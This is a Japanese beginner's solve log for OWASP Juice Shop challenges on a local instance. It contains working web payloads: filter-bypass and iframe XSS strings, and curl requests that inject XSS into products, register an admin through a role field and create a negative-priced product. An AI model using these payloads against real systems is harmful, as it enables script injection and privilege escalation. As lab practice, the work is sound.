OWASP Juice Shop 解答ログ


この記事は、WriteUpというより初心者が考えながらやりましたという解答ログです。Level2以降更新してないけど下書きが埋まっちゃったので公開します。気が向いたら追記する

Level1

この時点ではWriteUp書こうと思って無くて、ログ残してないのでごめんなさーい

Level2

これも「Login MC SafeSearch」の問題が分からないときから書き始めたのでそこまでは書いてませーん、ごめんなさい

Login MC SafeSearch

ヒント使用: ◯ (というか見ないと絶対とけない
答え参照: ◯

これは、セキュリティの問題というより英語の問題。
https://www.youtube.com/watch?v=v59CX2DiX0Y
ちゃんと聞き取れず、Youtubeのキャプションにもちゃんと表示されなくて断念。

ということで答えを参考に歌詞の一部分を抜き出すと

I say why not use the first name of your favorite
mine's my dog Mr. Noodles they don't matter if you know
cause I was tricky and replaced some vowels with zero 

と言ってるらしく、 Mr. Noodlesのオーをゼロに置き換えたものを入れればいいみたい。。
解析には英語力も必要だって言ってるみたいでこわいよ

Password Strength

SQLインジェクションでハッシュを取得してくるんだろうなと思ったけど、さっぱり分からなかったのでヒント使用。

この問題はこの段階では保留。

というのも、owasp-zapでどんどん試していましたが、時間がかかりすぎていて、もっといい方法が欲しかったから。。推測しろといわれても思い浮かばないから。。。

Behave like any "white hat" should before getting into the action

これもさっぱり分からなかった。。なにかする前に「正義の味方」のように振るまえだと?
プライバシーポリシーのページを確認したりしたがとくに何も書いていない。。

またまた答えを見てしまうと、なんと、そのサイトをハックしていいか書いてあるファイルがあるらしい。
ハックする前にこれを見ろということらしい。

なんと、 https://securitytxt.org/ にアクセスして、security.txtにアクセスし、そのサイトが推薦するファイルがあるか確認するらしい!!

やっぱり難しい。。と思ったらこのファイルgoogleとかも提供してるのねびっくり。Flagとかってあるの気になる

Classic Stored XSS

ヒント使用: ◯
答え参照: △ (最後までは見てないけどチラッと確認

ヒントを確認すると(もう自力で解くのはあきらめた)、古い作りのページがあるらしい。それをもとにいろいろ漁ってるとこんなページが見つかった

ここだけ他のページと違いSPAになっていないので怪しそう
http://localhost:3000/profile
でも、ここに書いても一部の文字が消されてうまくXSSできない。。

あきらめそうになって答えを見ると、叩く場所はここであってそうなのでそのまま踏ん張りました。
そして、いろいろやってみると、次のようなコードでうまくxssを発動できました!!

<<script>sscript>alert(`xss`)</script>

Weird Crypto

ヒント使用: ◯
答え参照: △ (見て答えを知ってしまったけど、実際に出てくるまで解かないでおいた

適当に「exec」とか「evil」とか「Regular Expression」とかって入れてみたけどうまく行かず。。
とりあえず保留にした。

Level3 (12/12取り組み)

API-only XSS

まず、APIとのことなので、見てるとPUTなどがあり商品が追加できそうだと踏んで

最終的に次のようなcurlで成功

curl 'http://localhost:3000/api/Products' -H 'Connection: keep-alive' -H 'Pragma: no-cache' -H 'Cache-Control: no-cache' -H 'Origin: http://localhost:3000' -H 'accept-language: en-US,en;q=0.9' -H 'authorization: Bearer eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdGF0dXMiOiJzdWNjZXNzIiwiZGF0YSI6eyJpZCI6MjAsInVzZXJuYW1lIjoiPHNjcmlwdD5hbGVydChgeHNzYCk8L3NjcmlwdD4iLCJlbWFpbCI6ImFAYS5jb20iLCJwYXNzd29yZCI6ImQxMGNhOGQxMTMwMWMyZjQ5OTNhYzIyNzljZTRiOTMwIiwicm9sZSI6ImN1c3RvbWVyIiwibGFzdExvZ2luSXAiOiIxNzIuMTcuMC4xIiwicHJvZmlsZUltYWdlIjoiZGVmYXVsdC5zdmciLCJ0b3RwU2VjcmV0IjoiIiwiaXNBY3RpdmUiOnRydWUsImNyZWF0ZWRBdCI6IjIwMTktMTItMDkgMTM6MTM6MzYuNzE2ICswMDowMCIsInVwZGF0ZWRBdCI6IjIwMTktMTItMTIgMDA6NDA6NDIuODc4ICswMDowMCIsImRlbGV0ZWRBdCI6bnVsbH0sImlhdCI6MTU3NjExMTI1OSwiZXhwIjoxNTc2MTI5MjU5fQ.L0mOp0fLpq0pKprZy7eAkEs_0eq3qx66GkQl9V9ZWNHabXBE0xUyGVviN-Of9z2wrJ6cu8MIDH-wb-bqmHYg_eNqU9KAiSbfEalfkgqw1kGNjmLQL60qI4_KVWpxG_wnEcKxjOOfSp2jNdsMWypgj1JcpJ3kl2J-77naHvry8Wk' -H 'content-type: application/json' -H 'accept: application/json, text/plain, */*' -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.87 Safari/537.36' -H 'Sec-Fetch-Site: same-origin' -H 'Sec-Fetch-Mode: cors' -H 'Referer: http://localhost:3000/' -H 'Accept-Encoding: gzip, deflate, br' -H 'Cookie: welcomebanner_status=dismiss; cookieconsent_status=dismiss; language=en; PHPSESSID=18r1pc4s8nuu0k0o85kec3s0v6; security=impossible; continueCode=2aXQnOWPd8BtzfJUxHbh5TqFLiKKhe7faRu32UaKUWMHRqfZMtLB0K1zk4l5; token=eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdGF0dXMiOiJzdWNjZXNzIiwiZGF0YSI6eyJpZCI6MjAsInVzZXJuYW1lIjoiPHNjcmlwdD5hbGVydChgeHNzYCk8L3NjcmlwdD4iLCJlbWFpbCI6ImFAYS5jb20iLCJwYXNzd29yZCI6ImQxMGNhOGQxMTMwMWMyZjQ5OTNhYzIyNzljZTRiOTMwIiwicm9sZSI6ImN1c3RvbWVyIiwibGFzdExvZ2luSXAiOiIxNzIuMTcuMC4xIiwicHJvZmlsZUltYWdlIjoiZGVmYXVsdC5zdmciLCJ0b3RwU2VjcmV0IjoiIiwiaXNBY3RpdmUiOnRydWUsImNyZWF0ZWRBdCI6IjIwMTktMTItMDkgMTM6MTM6MzYuNzE2ICswMDowMCIsInVwZGF0ZWRBdCI6IjIwMTktMTItMTIgMDA6NDA6NDIuODc4ICswMDowMCIsImRlbGV0ZWRBdCI6bnVsbH0sImlhdCI6MTU3NjExMTI1OSwiZXhwIjoxNTc2MTI5MjU5fQ.L0mOp0fLpq0pKprZy7eAkEs_0eq3qx66GkQl9V9ZWNHabXBE0xUyGVviN-Of9z2wrJ6cu8MIDH-wb-bqmHYg_eNqU9KAiSbfEalfkgqw1kGNjmLQL60qI4_KVWpxG_wnEcKxjOOfSp2jNdsMWypgj1JcpJ3kl2J-77naHvry8Wk; io=upAo7yL7QNlflVHhAABT' --data-binary '{"name":"xss payload <iframe src=\"javascript:alert(`xss`)\">","description":"aaasfasfa <iframe src=\"javascript:alert(`xss`)\">","author":"[email protected]"}' --compressed

最初はうまく行かないと思っていましたがPUTリクエストではなくPOSTで送ることで成功しました。

POSTで実行すればまずは401が出たのでAuthヘッダーを追加して、もとのProductsを参考にjsonを組み立てたらうまく行きました。

Admin Registration

ヒント使用: ◯
答え参照: ◯

Adminの登録ってことはロールの変更だから、deluxe加入あたりが怪しいかな〜と考えたけど、そういうパラメータが見つからなかった。すかさずヒントを使用すると、新規登録まわりを調べてみようと書いてありました。

ということで、新規登録してみて来てるものをみることにした。

まず、新規登録の画面にいくと、その瞬間にGET/api/SecurityQuestions/が叩かれ、その中身が表示される

で、内容を適当に入れてログインするとPOST\api\Users

POST\api\SecurityAnswersが走る。

特に登録時点でユーザーのロール作る所とかないしどうするんだろう

ということで、とりあえず「[email protected]」でユーザーを作ってみると、う〜ん、roleはcustomerのままだなぁ。。

実際のadminがあるjuice-sh.opドメイン「[email protected]」ならとも思ったが、これでもcustomerのままだった。

ということで、一旦現在のadminのログイン情報をadmin権限のauthentication-detailsで確認してみると

これでさっき作ったユーザーを見てみると

やっぱり違いはroleの部分と強いて言えばtokenだけ。。

うまく行かず答えの最初の方をチラ見すると、なんと、jsonで「role」オプションを付与したものを返せばいいらしい

[gpioblink@gpiobook Downloads]$ curl 'http://localhost:3000/api/Users/' -H 'Connection: keep-alive' -H 'Pragma: no-cache' -H 'Cache-Control: no-cache' -H 'Accept: application/json, text/plain, */*' -H 'Origin: http://localhost:3000' -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.87 Safari/537.36' -H 'Content-Type: application/json' -H 'Sec-Fetch-Site: same-origin' -H 'Sec-Fetch-Mode: cors' -H 'Referer: http://localhost:3000/' -H 'Accept-Encoding: gzip, deflate, br' -H 'Accept-Language: en-US,en;q=0.9' -H 'Cookie: welcomebanner_status=dismiss; cookieconsent_status=dismi               5: "kinect"
{"status":"success","data":{"username":"","lastLoginIp":"0.0.0.0","profileImage":"default.svg","isActive":true,"id":31,"email":"admin@admin","role":"admin","updatedAt":"2019-12-12T05:36:32.145Z","createdAt":"2019-12-12T05:36:32.145Z","deletedAt":null}}

これだけでよかったのか。。実際にやってみるの大事

Bjoern's Favorite Pet

Reset the password of Bjoern's OWASP account via the Forgot Password mechanism with the original answer to his security question.

なんか問題にペットって書いてあるんだけど、昨日の英語問題思い出して嫌だなーとか思いながらパスワードリセットの画面を確認

SQLインジェクションでまずはログインして。。。

でも道筋が分からずヒント見ると、「技術的な脆弱性はありません、ググって答えを見つけましょう」って来てしまった。。。。Bjoern is 誰?

普通に「bjoern pet」とかで検索しても何も出てこない。。

で、仕方なく答えの上の一行を見てみると、https://www.youtube.com/playlist?list=PLV9O4rIovHhO1y8_78GZfMbH6oznyx2g2
このBjoern

で、この中から答えを探すらしいけど、流石にそんなやる気は出ないのであきらめた

CAPTCHA Bypass

ヒント使用: ❌
答え参照: ❌

お、実装芸きた。
開発者ツール見ると、CAPTCHAの問題は数式だから、適当にevalしてその情報をくっつけて返せばいいんだろうと考えて実装した。ちょっとコードの箇所探すのに手こずったけどうまく行きました。

Level2以降で初めてヒントを見ずに解けた問題な気がする

Client-side XSS Protection

ヒント使用: ◯
答え参照: △ (やること自体は正しかったが確認のために

まずどこにSQLインジェクション仕掛けるんだろう?ログインのところだとログインされちゃうし。。複数行ならいいのか?
で、よう分からんのでヒントを参照すると、クライアントとサーバーサイドでvalidationが違う可能性がある的なことが書いてある。

なら、使われる時が多いだろう、ユーザー名を<iframe src="javascript:alert(`xss`)">にしたアカウントを作成しようとしてやってみると、作成した瞬間XSSは起きてないのにサクセス画面が出て通ってしまった。

いろんな画面遷移してみたものの、よくわからない。。

これは、adminがログインした時に、管理画面上でXSSが起きるという話だったようだ。。
よくわからないけど通ってしまった。。

Database Schema

SQLインジェクションでデータベースからいろいろ取得してほしいらしい。
以前ログイン画面でいろいろためしたときは、一件でもヒットすると先頭の情報でログインしちゃってるようでうまくいかない。。。

で、ヒントを見ると先に「Order the Christmas special offer of 2014」を解くべきらしいので保留!

Upload a file larger than 100 kB

この2行コメントアウトするだけ。何も見ないでできた

Upload a file that has no .pdf or .zip extension.

↑と同様

Payback Time

こんな感じで金額がマイナスの商品を作って

$ curl 'http://127.0.0.1:3000/api/Products' -H 'Connection: keep-alive' -H 'Pragma: no-cache' -H 'Cache-Control: no-cache' -H 'Accept: application/json, text/plain, */*' -H 'Origin: http://127.0.0.1:3000' -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdGF0dXMiOiJzdWNjZXNzIiwiZGF0YSI6eyJpZCI6MTcsInVzZXJuYW1lIjoiIiwiZW1haWwiOiJncGlvYmxpbmtAZ21haWwuY29tIiwicGFzc3dvcmQiOiJjYTVkMTI1MjdmNDU1MTliOWVlNjFhNmNiODIwMjY0NyIsInJvbGUiOiJjdXN0b21lciIsImxhc3RMb2dpbklwIjoiMTcyLjE3LjAuMSIsInByb2ZpbGVJbWFnZSI6ImRlZmF1bHQuc3ZnIiwidG90cFNlY3JldCI6IiIsImlzQWN0aXZlIjp0cnVlLCJjcmVhdGVkQXQiOiIyMDE5LTEyLTEyIDE1OjQ1OjAwLjAyOCArMDA6MDAiLCJ1cGRhdGVkQXQiOiIyMDE5LTEyLTEyIDE1OjQ4OjUzLjA0NCArMDA6MDAiLCJkZWxldGVkQXQiOm51bGx9LCJpYXQiOjE1NzYxNjcyNjIsImV4cCI6MTU3NjE4NTI2Mn0.e23-yHXvGQyZgr2nqujg-M8PRpR_FhQ6zi93isQod8j3j6lH7eM-Im1drKJ6jRER-GaBgK6hWVV7tenQWOV7wk0DEfWeCptp1DNCYIY8yB_Qo9_rmrXNO6TA085y8gxrZJNQuTnK7U_AAeI46McSMFsuzf7LR67NgVZQpsdD3Ac' -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.87 Safari/537.36' -H 'Content-Type: application/json' -H 'Sec-Fetch-Site: same-origin' -H 'Sec-Fetch-Mode: cors' -H 'Referer: http://127.0.0.1:3000/' -H 'Accept-Encoding: gzip, deflate, br' -H 'Accept-Language: en-US,en;q=0.9' -H 'Cookie: language=en; welcomebanner_status=dismiss; cookieconsent_status=dismiss; token=eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdGF0dXMiOiJzdWNjZXNzIiwiZGF0YSI6eyJpZCI6MTcsInVzZXJuYW1lIjoiIiwiZW1haWwiOiJncGlvYmxpbmtAZ21haWwuY29tIiwicGFzc3dvcmQiOiJjYTVkMTI1MjdmNDU1MTliOWVlNjFhNmNiODIwMjY0NyIsInJvbGUiOiJjdXN0b21lciIsImxhc3RMb2dpbklwIjoiMTcyLjE3LjAuMSIsInByb2ZpbGVJbWFnZSI6ImRlZmF1bHQuc3ZnIiwidG90cFNlY3JldCI6IiIsImlzQWN0aXZlIjp0cnVlLCJjcmVhdGVkQXQiOiIyMDE5LTEyLTEyIDE1OjQ1OjAwLjAyOCArMDA6MDAiLCJ1cGRhdGVkQXQiOiIyMDE5LTEyLTEyIDE1OjQ4OjUzLjA0NCArMDA6MDAiLCJkZWxldGVkQXQiOm51bGx9LCJpYXQiOjE1NzYxNjcyNjIsImV4cCI6MTU3NjE4NTI2Mn0.e23-yHXvGQyZgr2nqujg-M8PRpR_FhQ6zi93isQod8j3j6lH7eM-Im1drKJ6jRER-GaBgK6hWVV7tenQWOV7wk0DEfWeCptp1DNCYIY8yB_Qo9_rmrXNO6TA085y8gxrZJNQuTnK7U_AAeI46McSMFsuzf7LR67NgVZQpsdD3Ac; continueCode=k2AO6HkhWtbsBfWS6UlH4hETeFliRRhLKfaruj6IRyUvxHZKCW2fqetnk0Nw; io=wLKZq8NoP7yjgeLBAAAO' --data-binary '{"description": "make money!","image": "green_smoothie.jpg","name": "Make Money","price": -1000}' --compressed
{"status":"success","data":{"id":35,"description":"make money!","image":"green_smoothie.jpg","name":"Make Money","price":-1000,"updatedAt":"2019-12-12T16:35:01.280Z","createdAt":"2019-12-12T16:35:01.280Z","deluxePrice":null,"deletedAt":null}}

でもこれだけだと、カートに追加できなかった。。
quantityのデータも追加しないといけなそうだけど、adminでログインしてPUTしようとしても上手く行かなかったので、既存のidに上書きしてみることにでもうまくいかず。。。

結局成功したのは、注文個数をマイナスにすることでした

Privacy Policy Inspection

問題を見ると、秘密のURLを叩くことで可能にするらしい

なんか一部分にカーソルをかざすと装飾されるので、この部分をまとめてみると

http://127.0.0.1 We may also instruct you to refuse all reasonably necessary responsibility

ということで、全ての責任を回避してみればいいのでしょうか。
とりあえずcookieを無効にして様子を見てみます

cookieを消してみても表示が崩れるだけで秘密のURLとかはありません。。